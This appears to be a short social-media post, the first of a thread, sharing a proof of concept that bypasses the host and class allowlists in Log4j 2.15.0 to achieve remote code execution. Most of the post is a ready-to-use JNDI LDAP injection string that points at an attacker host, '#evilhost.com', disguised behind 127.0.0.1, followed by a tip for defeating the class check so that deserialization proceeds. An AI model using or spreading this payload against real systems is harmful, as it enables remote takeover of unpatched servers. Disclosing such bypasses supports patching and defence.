FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1
#evilhost
.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual.
#Log4Shell
1/n